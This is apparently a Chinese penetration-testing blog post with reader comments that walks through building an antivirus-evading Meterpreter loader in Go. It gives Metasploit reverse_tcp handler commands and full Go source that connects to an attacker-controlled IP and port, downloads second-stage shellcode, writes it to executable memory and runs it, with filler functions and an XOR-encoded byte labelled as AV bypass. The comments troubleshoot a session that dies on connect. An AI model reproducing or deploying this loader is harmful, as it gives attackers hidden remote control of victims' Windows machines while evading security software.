MENU

使用go实现meterpreter免杀上线

April 18, 2020 • 渗透测试,安全工具,实战,免杀更新

1.kali配置监听

use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set lhost 8.8.8.8
set lport 8888
run

2.编译golang

修改golang代码的main函数中的变量s为

http://kali监听ip:kali监听端口
http://8.8.8.8:8888

项目下载地址:https://github.com/insightglacier/go_meterpreter

golang代码:

package main

import (
    "encoding/binary"
    "strconv"
    "strings"
    "syscall"
    "unsafe"
)

const (
    MEM_COMMIT             = 0x1000
    MEM_RESERVE            = 0x2000
    PAGE_EXECUTE_READWRITE = 0x40
)

var MagicNumber int64 = 5

//Bypass AV
func Jump() {
    MagicNumber++
    hop1()
}
func hop1() {
    MagicNumber++
    hop2()
}
func hop2() {
    MagicNumber++
    hop3()
}
func hop3() {
    MagicNumber++
    hop4()
}
func hop4() {
    MagicNumber++
    hop5()
}
func hop5() {
    MagicNumber++
    hop6()
}
func hop6() {
    MagicNumber++
    hop7()
}
func hop7() {
    MagicNumber++
    hop8()
}
func hop8() {
    MagicNumber++
    hop9()
}
func hop9() {
    MagicNumber++
    hop10()
}
func hop10() {
    MagicNumber++
}

//Meterpreter
func mp(Address string) {
    kernel32 := syscall.MustLoadDLL("kernel32.dll")
    VirtualAlloc := kernel32.MustFindProc("VirtualAlloc")
    var WSA_Data syscall.WSAData
    syscall.WSAStartup(uint32(0x202), &WSA_Data)
    Socket, _ := syscall.Socket(syscall.AF_INET, syscall.SOCK_STREAM, 0)

    AddressArray := strings.Split(Address, ":")
    IP_Array_Str := strings.Split(AddressArray[0], ".")
    var IP_Array_Int [4]int
    for i := 0; i < 4; i++ {
        IP_Array_Int[i], _ = strconv.Atoi(IP_Array_Str[i])
    }
    PortInt, _ := strconv.Atoi(AddressArray[1])
    Socket_Addr := syscall.SockaddrInet4{Port: PortInt, Addr: [4]byte{byte(IP_Array_Int[0]), byte(IP_Array_Int[1]), byte(IP_Array_Int[2]), byte(IP_Array_Int[3])}}

    syscall.Connect(Socket, &Socket_Addr)
    var SecondStageLengt [4]byte
    WSA_Buffer := syscall.WSABuf{Len: uint32(4), Buf: &SecondStageLengt[0]}
    Flags := uint32(0)
    DataReceived := uint32(0)
    syscall.WSARecv(Socket, &WSA_Buffer, 1, &DataReceived, &Flags, nil, nil)
    SecondStageLengthInt := binary.LittleEndian.Uint32(SecondStageLengt[:])

    SecondStageBuffer := make([]byte, SecondStageLengthInt)
    var Shellcode []byte
    WSA_Buffer = syscall.WSABuf{Len: SecondStageLengthInt, Buf: &SecondStageBuffer[0]}
    Flags = uint32(0)
    DataReceived = uint32(0)
    TotalDataReceived := uint32(0)
    for TotalDataReceived < SecondStageLengthInt {
        syscall.WSARecv(Socket, &WSA_Buffer, 1, &DataReceived, &Flags, nil, nil)
        for i := 0; i < int(DataReceived); i++ {
            Shellcode = append(Shellcode, SecondStageBuffer[i])
        }
        TotalDataReceived += DataReceived
    }
    Addr, _, _ := VirtualAlloc.Call(0, uintptr(SecondStageLengthInt+5), MEM_RESERVE|MEM_COMMIT, PAGE_EXECUTE_READWRITE)
    AddrPtr := (*[990000]byte)(unsafe.Pointer(Addr))
    SocketPtr := (uintptr)(unsafe.Pointer(Socket))

    //x86  0xBF;  5 bytes
    //  BF 78 56 34 12     =>      mov edi, 0x12345678
    AddrPtr[0] = 0xAF ^ 0x10 //0xBF

    //X64  0x48BF;  10 bytes
    // 48 BF 78 56 34 12 00 00 00 00  =>   mov rdi, 0x12345678

    AddrPtr[1] = byte(SocketPtr)
    AddrPtr[2] = 0x00
    AddrPtr[3] = 0x00
    AddrPtr[4] = 0x00
    for i, j := range Shellcode {
        Jump()
        AddrPtr[i+5] = j
    }
    syscall.Syscall(Addr, 0, 0, 0, 0)
}

func main() {
    s := "http://8.8.8.8:8888"
    Jump()
    mp(s[7:])
}

3.运行
直接终端运行res.exe
结果如下

1.png

2.png

希望能帮到各位大佬

祝各位大佬权限天天拿

有事儿您留言或者mail指教。

Leave a Comment

3 Comments
  1. 小白看的一脸懵逼

  2. 为什么刚建立连接之后,就提示进程死掉了呢?需要怎么改一下呢?(Meterpreter session 8 closed. Reason: Died)

    1. 小猪皮

      @菜菜因为监听器,试试 windows/x64/meterpreter/reverse_tcp 呢